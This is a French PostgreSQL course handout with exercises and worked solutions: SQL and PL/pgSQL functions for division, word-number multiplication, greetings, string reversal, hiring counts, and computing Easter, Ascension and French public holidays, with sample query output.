Créer une fonction qui fait la même chose avec deux années en paramètres une boucle FOR … LOOP, RETURNS TABLE et RETURN NEXT.

Écrire une fonction de multiplication dont les arguments sont des chiffres en toute lettre, inférieurs ou égaux à « neuf ». Par exemple, multiplication ('deux','trois') doit renvoyer 6.

Si ce n’est déjà fait, faire en sorte que multiplication appelle une autre fonction pour faire la conversion de texte en chiffre, et n’effectue que le calcul.

Essayer de multiplier « deux » par 4. Qu’obtient-on et pourquoi ?

Corriger la fonction pour tomber en erreur si un argument est numérique (utiliser RAISE EXCEPTION <message>).

Écrire une fonction en PL/pgSQL qui prend en argument le nom de l’utilisateur, puis lui dit « Bonjour » ou « Bonsoir » suivant l’heure de la journée. Utiliser la fonction to_char().

Écrire la même fonction avec un paramètre OUT.

Pour calculer l’heure courante, utiliser plutôt la fonction extract.

Réécrire la fonction en SQL.

Écrire une fonction inverser qui inverse une chaîne (pour « toto » en entrée, afficher « otot » en sortie), à l’aide d’une boucle WHILE et des fonctions char_length et substring.

Le calcul de la date de Pâques est complexe. On peut écrire la fonction suivante :

CREATE OR REPLACE FUNCTION paques (annee integer)
RETURNS date
AS $$
  DECLARE
    a integer ;
    b integer ;
    r date ;
  BEGIN
    a := (19*(annee % 19) + 24) % 30 ;
    b := (2*(annee % 4) + 4*(annee % 7) + 6*a + 5) % 7 ;
    SELECT (annee::text||'-03-31')::date + (a+b-9) INTO r ;
    RETURN r ;
  END ;
$$
LANGUAGE plpgsql ;

Principe : Soit m l’année. On calcule successivement :

• le reste de m/19 : c’est la valeur de a.
• le reste de m/4 : c’est la valeur de b.
• le reste de m/7 : c’est la valeur de c.
• le reste de (19a + p)/30 : c’est la valeur de d.
• le reste de (2b + 4c + 6d + q)/7 : c’est la valeur de e.

Les valeurs de p et de q varient de 100 ans en 100 ans. De 2000 à 2100, p vaut 24, q vaut 5. La date de Pâques est le (22 + d + e) mars ou le (d + e - 9) avril.

Afficher les dates de Pâques de 2018 à 2025.

Écrire une fonction qui calcule la date de l’Ascension, soit le jeudi de la sixième semaine après Pâques. Pour simplifier, on peut aussi considérer que l’Ascension se déroule 39 jours après Pâques.

Pour écrire une fonction qui renvoie tous les jours fériés d’une année (libellé et date), en France métropolitaine :

• Prévoir un paramètre supplémentaire pour l’Alsace-Moselle, où le Vendredi saint (précédant le dimanche de Pâques) et le 26 décembre sont aussi fériés (ou toute autre variation régionale).
• Cette fonction doit renvoyer plusieurs lignes : utiliser RETURN NEXT.
• Plusieurs variantes sont possibles : avec SETOF record, avec des paramètres OUT, ou avec RETURNS TABLE (libelle, jour).
• Enfin, il est possible d’utiliser RETURN QUERY.

Pour répondre aux exigences de stockage, l’application a besoin de pouvoir trouver rapidement les produits dont le volume est compris entre certaines bornes (nous négligeons ici le facteur de forme, qui est problématique dans le cadre d’un véritable stockage en entrepôt !).

Écrire une requête permettant de renvoyer l’ensemble des produits (table magasin.produits) dont le volume ne dépasse pas 1 litre (les unités de longueur sont en mm, 1 litre = 1 000 000 mm³).

Quel index permet d’optimiser cette requête ? (Utiliser une fonction est possible, mais pas obligatoire.)

Hello

Écrire une fonction hello() qui renvoie la chaîne de caractère « Hello World! » en SQL.

CREATE OR REPLACE FUNCTION hello()
RETURNS text
AS $BODY$
  SELECT 'hello world !'::text;
$BODY$
LANGUAGE SQL;

Écrire une fonction hello_pl() qui renvoie la chaîne de caractère « Hello World! » en PL/pgSQL.

CREATE OR REPLACE FUNCTION hello_pl()
RETURNS text
AS $BODY$
  BEGIN
    RETURN 'hello world !';
  END
$BODY$
LANGUAGE plpgsql;

Comparer les coûts des deux plans d’exécutions de ces requêtes. Expliquer ces coûts.

Requêtage :

EXPLAIN SELECT hello();

                QUERY PLAN
------------------------------------------
 Result  (cost=0.00..0.01 rows=1 width=32)

EXPLAIN SELECT hello_pl();

                QUERY PLAN
------------------------------------------
 Result  (cost=0.00..0.26 rows=1 width=32)

Par défaut, si on ne précise pas le coût (COST) d’une fonction, cette dernière a un coût par défaut de 100. Ce coût est à multiplier par la valeur du paramètre cpu_operator_cost, par défaut à 0,0025. Le coût total d’appel de la fonction hello_pl est donc par défaut de :

100*cpu_operator_cost + cpu_tuple_cost

Ce n’est pas valable pour la fonction en SQL pur, qui est ici intégrée à la requête.

Division

Écrire en PL/pgSQL une fonction de division appelée division. Elle acceptera en entrée deux arguments de type entier et renverra un nombre réel (numeric).

Attention, sous PostgreSQL, la division de deux entiers est par défaut entière : il faut donc transtyper.

CREATE OR REPLACE FUNCTION division (arg1 integer, arg2 integer)
RETURNS numeric
AS $BODY$
  BEGIN
    RETURN arg1::numeric / arg2::numeric;
  END
$BODY$
LANGUAGE plpgsql;

SELECT division (3,2) ;

      division
--------------------
 1.5000000000000000

Écrire cette même fonction en SQL.

CREATE OR REPLACE FUNCTION division_sql (a integer, b integer)
RETURNS numeric
AS $$
    SELECT a::numeric / b::numeric;
$$
LANGUAGE SQL;

Comment corriger le problème de la division par zéro ? Écrire cette nouvelle fonction dans les deux langages. (Conseil : dans ce genre de calcul impossible, il est possible d’utiliser la constante NaN (Not A Number) ).

Le problème se présente ainsi :

SELECT division(1,0);

ERROR:  division by zero
CONTEXTE : PL/pgSQL function division(integer,integer) line 3 at RETURN

Pour la version en PL :

CREATE OR REPLACE FUNCTION division(arg1 integer, arg2 integer)
RETURNS numeric
AS $BODY$
  BEGIN
    IF arg2 = 0 THEN
      RETURN 'NaN';
    ELSE
      RETURN arg1::numeric / arg2::numeric;
    END IF;
  END $BODY$
LANGUAGE plpgsql;

SELECT division (3,0) ;

 division
----------
      NaN

Pour la version en SQL :

CREATE OR REPLACE FUNCTION division_sql(a integer, b integer)
RETURNS numeric
AS $$
  SELECT CASE $2
    WHEN 0 THEN 'NaN'
    ELSE $1::numeric / $2::numeric
  END;
$$
LANGUAGE SQL;

SELECT sur des tables dans les fonctions

Ce TP utilise les tables de la base employes_services. Le script de création se télécharge et s’installe ainsi dans une nouvelle base employes :

curl -kL https://dali.bo/tp_employes_services -o employes_services.sql
createdb employes
psql employes < employes_services.sql

Les quelques tables occupent environ 80 Mo sur le disque.

Créer une fonction qui ramène le nombre d’employés embauchés une année donnée (à partir du champ employes.date_embauche).

CREATE OR REPLACE FUNCTION nb_embauches (v_annee integer)
RETURNS integer
AS $BODY$
  DECLARE
    nb integer;
  BEGIN
    SELECT  count(*)
    INTO    nb
    FROM    employes
    WHERE   extract (year from date_embauche) = v_annee ;
    RETURN nb;
  END
$BODY$
LANGUAGE plpgsql ;

Test :

SELECT nb_embauches (2006);

 nb_embauches
--------------
            9

Utiliser la fonction generate_series() pour lister le nombre d’embauches pour chaque année entre 2000 et 2010.

SELECT n, nb_embauches (n)
FROM generate_series (2000,2010) n
ORDER BY n;

  n   | nb_embauches
------+--------------
 2000 |            2
 2001 |            0
 2002 |            0
 2003 |            1
 2004 |            0
 2005 |            2
 2006 |            9
 2007 |            0
 2008 |            0
 2009 |            0
 2010 |            0

Créer une fonction qui fait la même chose avec deux années en paramètres une boucle FOR … LOOP, RETURNS TABLE et RETURN NEXT.

CREATE OR REPLACE FUNCTION nb_embauches (v_anneedeb int, v_anneefin int)
RETURNS TABLE (annee int, nombre_embauches int)
AS $BODY$
  BEGIN
    FOR i in v_anneedeb..v_anneefin
    LOOP
      SELECT i, nb_embauches (i)
      INTO   annee, nombre_embauches ;
      RETURN NEXT ;
    END LOOP;
    RETURN;
  END
$BODY$
LANGUAGE plpgsql;

Le nom de la fonction a été choisi identique à la précédente, mais avec des paramètres différents. Cela ne gêne pas le requêtage :

SELECT * FROM  nb_embauches (2006,2010);

 annee | nombre_embauches
-------+------------------
  2006 |                9
  2007 |                0
  2008 |                0
  2009 |                0
  2010 |                0

Multiplication

Écrire une fonction de multiplication dont les arguments sont des chiffres en toute lettre, inférieurs ou égaux à « neuf ». Par exemple, multiplication ('deux','trois') doit renvoyer 6.

CREATE OR REPLACE FUNCTION multiplication (arg1 text, arg2 text)
RETURNS integer
AS $BODY$
  DECLARE
    a1 integer;
    a2 integer;
  BEGIN
    IF arg1 = 'zéro' THEN
      a1 := 0;
    ELSEIF arg1 = 'un' THEN
      a1 := 1;
    ELSEIF arg1 = 'deux' THEN
      a1 := 2;
    ELSEIF arg1 = 'trois' THEN
      a1 := 3;
    ELSEIF arg1 = 'quatre' THEN
      a1 := 4;
    ELSEIF arg1 = 'cinq' THEN
      a1 := 5;
    ELSEIF arg1 = 'six' THEN
      a1 := 6;
    ELSEIF arg1 = 'sept' THEN
      a1 := 7;
    ELSEIF arg1 = 'huit' THEN
      a1 := 8;
    ELSEIF arg1 = 'neuf' THEN
      a1 := 9;
    END IF;

    IF arg2 = 'zéro' THEN
      a2 := 0;
    ELSEIF arg2 = 'un' THEN
      a2 := 1;
    ELSEIF arg2 = 'deux' THEN
      a2 := 2;
    ELSEIF arg2 = 'trois' THEN
      a2 := 3;
    ELSEIF arg2 = 'quatre' THEN
      a2 := 4;
    ELSEIF arg2 = 'cinq' THEN
      a2 := 5;
    ELSEIF arg2 = 'six' THEN
      a2 := 6;
    ELSEIF arg2 = 'sept' THEN
      a2 := 7;
    ELSEIF arg2 = 'huit' THEN
      a2 := 8;
    ELSEIF arg2 = 'neuf' THEN
      a2 := 9;
    END IF;

    RETURN a1*a2;
  END
$BODY$
LANGUAGE plpgsql;

Test :

SELECT multiplication('deux', 'trois');

 multiplication
----------------
              6

SELECT multiplication('deux', 'quatre');

 multiplication
----------------
              8

Si ce n’est déjà fait, faire en sorte que multiplication appelle une autre fonction pour faire la conversion de texte en chiffre, et n’effectue que le calcul.

CREATE OR REPLACE FUNCTION texte_vers_entier(arg text)
RETURNS integer AS $BODY$
  DECLARE
    ret integer;
  BEGIN
    IF arg = 'zéro' THEN
      ret := 0;
    ELSEIF arg = 'un' THEN
      ret := 1;
    ELSEIF arg = 'deux' THEN
      ret := 2;
    ELSEIF arg = 'trois' THEN
      ret := 3;
    ELSEIF arg = 'quatre' THEN
      ret := 4;
    ELSEIF arg = 'cinq' THEN
      ret := 5;
    ELSEIF arg = 'six' THEN
      ret := 6;
    ELSEIF arg = 'sept' THEN
      ret := 7;
    ELSEIF arg = 'huit' THEN
      ret := 8;
    ELSEIF arg = 'neuf' THEN
      ret := 9;
    END IF;

    RETURN ret;
  END
$BODY$
LANGUAGE plpgsql;

CREATE OR REPLACE FUNCTION multiplication(arg1 text, arg2 text)
RETURNS integer
AS $BODY$
  DECLARE
    a1 integer;
    a2 integer;
  BEGIN
    a1 := texte_vers_entier(arg1);
    a2 := texte_vers_entier(arg2);
    RETURN a1*a2;
  END
$BODY$
LANGUAGE plpgsql;

Essayer de multiplier « deux » par 4. Qu’obtient-on et pourquoi ?

SELECT multiplication('deux', 4::text);

 multiplication
----------------

Par défaut, les variables internes à la fonction valent NULL. Rien n’est prévu pour affecter le second argument, on obtient donc NULL en résultat.

Corriger la fonction pour tomber en erreur si un argument est numérique (utiliser RAISE EXCEPTION <message>).

CREATE OR REPLACE FUNCTION texte_vers_entier(arg text)
RETURNS integer AS $BODY$
  DECLARE
    ret integer;
  BEGIN
    IF arg = 'zéro' THEN
      ret := 0;
    ELSEIF arg = 'un' THEN
      ret := 1;
    ELSEIF arg = 'deux' THEN
      ret := 2;
    ELSEIF arg = 'trois' THEN
      ret := 3;
    ELSEIF arg = 'quatre' THEN
      ret := 4;
    ELSEIF arg = 'cinq' THEN
      ret := 5;
    ELSEIF arg = 'six' THEN
      ret := 6;
    ELSEIF arg = 'sept' THEN
      ret := 7;
    ELSEIF arg = 'huit' THEN
      ret := 8;
    ELSEIF arg = 'neuf' THEN
      ret := 9;
    ELSE
      RAISE EXCEPTION 'argument "%" invalide', arg;
      ret := NULL;
    END IF;

    RETURN ret;
  END
$BODY$
LANGUAGE plpgsql;

SELECT multiplication('deux', 4::text);

ERROR:  argument "4" invalide
CONTEXTE : PL/pgSQL function texte_vers_entier(text) line 26 at RAISE
PL/pgSQL function multiplication(text,text) line 7 at assignment

Salutations

Écrire une fonction en PL/pgSQL qui prend en argument le nom de l’utilisateur, puis lui dit « Bonjour » ou « Bonsoir » suivant l’heure de la journée. Utiliser la fonction to_char().

CREATE OR REPLACE FUNCTION salutation(utilisateur text)
RETURNS text
AS $BODY$
  DECLARE
    heure integer;
    libelle text;
  BEGIN
    heure := to_char(now(), 'HH24');
    IF heure > 12
    THEN
      libelle := 'Bonsoir';
    ELSE
      libelle := 'Bonjour';
    END IF;

    RETURN libelle||' '||utilisateur||' !';
  END
$BODY$
LANGUAGE plpgsql;

Test :

SELECT salutation ('Guillaume');

   salutation
---------------------
 Bonsoir Guillaume !

Écrire la même fonction avec un paramètre OUT.

CREATE OR REPLACE FUNCTION salutation(IN utilisateur text, OUT message text)
AS $BODY$
  DECLARE
    heure integer;
    libelle text;
  BEGIN
    heure := to_char(now(), 'HH24');
    IF heure > 12
    THEN
      libelle := 'Bonsoir';
    ELSE
      libelle := 'Bonjour';
    END IF;

    message := libelle||' '||utilisateur||' !';
  END
$BODY$
LANGUAGE plpgsql;

Elle s’utilise de la même manière :

SELECT salutation ('Guillaume');

    salutation
---------------------
 Bonsoir Guillaume !

Pour calculer l’heure courante, utiliser plutôt la fonction extract.

CREATE OR REPLACE FUNCTION salutation(IN utilisateur text, OUT message text)
AS $BODY$
  DECLARE
    heure integer;
    libelle text;
  BEGIN
    SELECT INTO heure extract(hour from now())::int;
    IF heure > 12
    THEN
      libelle := 'Bonsoir';
    ELSE
      libelle := 'Bonjour';
    END IF;

    message := libelle||' '||utilisateur||' !';
  END
$BODY$
LANGUAGE plpgsql;

Réécrire la fonction en SQL.

Le CASE … WHEN remplace aisément un IF … THEN :

CREATE OR REPLACE FUNCTION salutation_sql(nom text)
RETURNS text
AS $$
  SELECT CASE extract(hour from now()) > 12
    WHEN 't' THEN 'Bonsoir '|| nom
    ELSE 'Bonjour '|| nom
  END::text;
$$ LANGUAGE SQL;

Inversion de chaîne

Écrire une fonction inverser qui inverse une chaîne (pour « toto » en entrée, afficher « otot » en sortie), à l’aide d’une boucle WHILE et des fonctions char_length et substring.

CREATE OR REPLACE FUNCTION inverser(str_in varchar)
RETURNS varchar
AS $$
  DECLARE
    str_out varchar ;   -- à renvoyer
    position integer ;
  BEGIN
    -- Initialisation de str_out, sinon sa valeur reste à NULL
    str_out := '';
    -- Position initialisée ç la longueur de la chaîne
    position := char_length(str_in);
    -- La chaîne est traitée ç l'envers
    -- Boucle: Inverse l'ordre des caractères d'une chaîne de caractères
    WHILE position > 0 LOOP
    -- la chaîne donnée en argument est parcourue
    -- à l'envers,
    -- et les caractères sont extraits individuellement
      str_out := str_out || substring(str_in, position, 1);
      position := position - 1;
    END LOOP;
    RETURN str_out;
  END;
$$
LANGUAGE plpgsql;

SELECT inverser (' toto ') ;

 inverser
----------
  otot

Jours fériés

La fonction suivante calcule la date de Pâques d’une année :

CREATE OR REPLACE FUNCTION paques (annee integer)
RETURNS date
AS $$
  DECLARE
    a integer ;
    b integer ;
    r date ;
  BEGIN
    a := (19*(annee % 19) + 24) % 30 ;
    b := (2*(annee % 4) + 4*(annee % 7) + 6*a + 5) % 7 ;
    SELECT (annee::text||'-03-31')::date + (a+b-9) INTO r ;
    RETURN r ;
  END ;
$$
LANGUAGE plpgsql ;

Afficher les dates de Pâques de 2018 à 2025.

SELECT paques (n) FROM generate_series (2018, 2025) n ;

   paques
------------
 2018-04-01
 2019-04-21
 2020-04-12
 2021-04-04
 2022-04-17
 2023-04-09
 2024-03-31
 2025-04-20

Écrire une fonction qui calcule la date de l’Ascension, soit le jeudi de la sixième semaine après Pâques. Pour simplifier, on peut aussi considérer que l’Ascension se déroule 39 jours après Pâques.

Version complexe :

CREATE OR REPLACE FUNCTION ascension(annee integer)
RETURNS date
AS $$
  DECLARE
    r    date;
  BEGIN
    SELECT paques(annee)::date + 40 INTO r;
    SELECT r + (4 - extract(dow from r))::integer INTO r;
    RETURN r;
  END;
$$
LANGUAGE plpgsql;

Version simple :

CREATE OR REPLACE FUNCTION ascension(annee integer)
RETURNS date
AS $$
    SELECT (paques (annee) + INTERVAL '39 days')::date ;
$$
LANGUAGE sql;

Test :

SELECT paques (n), ascension(n) FROM generate_series (2018, 2025) n ;

   paques   | ascension
------------+------------
 2018-04-01 | 2018-05-10
 2019-04-21 | 2019-05-30
 2020-04-12 | 2020-05-21
 2021-04-04 | 2021-05-13
 2022-04-17 | 2022-05-26
 2023-04-09 | 2023-05-18
 2024-03-31 | 2024-05-09
 2025-04-20 | 2025-05-29

Pour écrire une fonction qui renvoie tous les jours fériés d’une année (libellé et date), en France métropolitaine :

• Prévoir un paramètre supplémentaire pour l’Alsace-Moselle, où le Vendredi saint (précédant le dimanche de Pâques) et le 26 décembre sont aussi fériés (ou toute autre variation régionale).
• Cette fonction doit renvoyer plusieurs lignes : utiliser RETURN NEXT.
• Plusieurs variantes sont possibles : avec SETOF record, avec des paramètres OUT, ou avec RETURNS TABLE (libelle, jour).
• Enfin, il est possible d’utiliser RETURN QUERY.

Version avec SETOF record :

CREATE OR REPLACE FUNCTION vacances (
                                annee integer,
                                alsace_moselle boolean DEFAULT false
) RETURNS SETOF record
AS $$
  DECLARE
    f integer;
    r record;
  BEGIN
    SELECT 'Jour de l''an'::text, (annee::text||'-01-01')::date INTO r;
    RETURN NEXT r;
    SELECT 'Pâques'::text, paques(annee)::date + 1 INTO r;
    RETURN NEXT r;
    SELECT 'Ascension'::text, ascension(annee)::date INTO r;
    RETURN NEXT r;
    SELECT 'Fête du travail'::text, (annee::text||'-05-01')::date INTO r;
    RETURN NEXT r;
    SELECT 'Victoire 1945'::text, (annee::text||'-05-08')::date INTO r;
    RETURN NEXT r;
    SELECT 'Fête nationale'::text, (annee::text||'-07-14')::date INTO r;
    RETURN NEXT r;
    SELECT 'Assomption'::text, (annee::text||'-08-15')::date INTO r;
    RETURN NEXT r;
    SELECT 'La toussaint'::text, (annee::text||'-11-01')::date INTO r;
    RETURN NEXT r;
    SELECT 'Armistice 1918'::text, (annee::text||'-11-11')::date INTO r;
    RETURN NEXT r;
    SELECT 'Noël'::text, (annee::text||'-12-25')::date INTO r;
    RETURN NEXT r;
    IF alsace_moselle THEN
      SELECT 'Vendredi saint'::text, paques(annee)::date - 2 INTO r;
      RETURN NEXT r;
      SELECT 'Lendemain de Noël'::text, (annee::text||'-12-26')::date INTO r;
      RETURN NEXT r;
    END IF;

    RETURN;
  END;
$$
LANGUAGE plpgsql;

Le requêtage implique de nommer les colonnes :

SELECT *
FROM vacances(2020, true) AS (libelle text, jour date)
ORDER BY jour ;

      libelle       |    jour
--------------------+------------
 Jour de l'an      | 2020-01-01
 Vendredi saint    | 2020-04-10
 Pâques            | 2020-04-13
 Fête du travail   | 2020-05-01
 Victoire 1945     | 2020-05-08
 Ascension         | 2020-05-21
 Fête nationale    | 2020-07-14
 Assomption        | 2020-08-15
 La toussaint      | 2020-11-01
 Armistice 1918    | 2020-11-11
 Noël              | 2020-12-25
 Lendemain de Noël | 2020-12-26

Version avec paramètres OUT :

Une autre forme d’écriture possible consiste à indiquer les deux colonnes de retour comme des paramètres OUT :

CREATE OR REPLACE FUNCTION vacances(
            annee integer,
            alsace_moselle boolean DEFAULT false,
            OUT libelle text,
            OUT jour date)
 RETURNS SETOF record
 LANGUAGE plpgsql
AS $function$
  DECLARE
    f integer;
    r record;
  BEGIN
    SELECT 'Jour de l''an'::text, (annee::text||'-01-01')::date
        INTO libelle, jour;
    RETURN NEXT;
    SELECT 'Pâques'::text, paques(annee)::date + 1 INTO libelle, jour;
    RETURN NEXT;
    SELECT 'Ascension'::text, ascension(annee)::date INTO libelle, jour;
    RETURN NEXT;
    SELECT 'Fête du travail'::text, (annee::text||'-05-01')::date
        INTO libelle, jour;
    RETURN NEXT;
    SELECT 'Victoire 1945'::text, (annee::text||'-05-08')::date
        INTO libelle, jour;
    RETURN NEXT;
    SELECT 'Fête nationale'::text, (annee::text||'-07-14')::date
        INTO libelle, jour;
    RETURN NEXT;
    SELECT 'Assomption'::text, (annee::text||'-08-15')::date
        INTO libelle, jour;
    RETURN NEXT;
    SELECT 'La toussaint'::text, (annee::text||'-11-01')::date
        INTO libelle, jour;
    RETURN NEXT;
    SELECT 'Armistice 1918'::text, (annee::text||'-11-11')::date
        INTO libelle, jour;
    RETURN NEXT;
    SELECT 'Noël'::text, (annee::text||'-12-25')::date INTO libelle, jour;
    RETURN NEXT;
    IF alsace_moselle THEN
      SELECT 'Vendredi saint'::text, paques(annee)::date - 2 INTO libelle, jour;
      RETURN NEXT;
      SELECT 'Lendemain de Noël'::text, (annee::text||'-12-26')::date
        INTO libelle, jour;
      RETURN NEXT;
    END IF;

    RETURN;
  END;
$function$;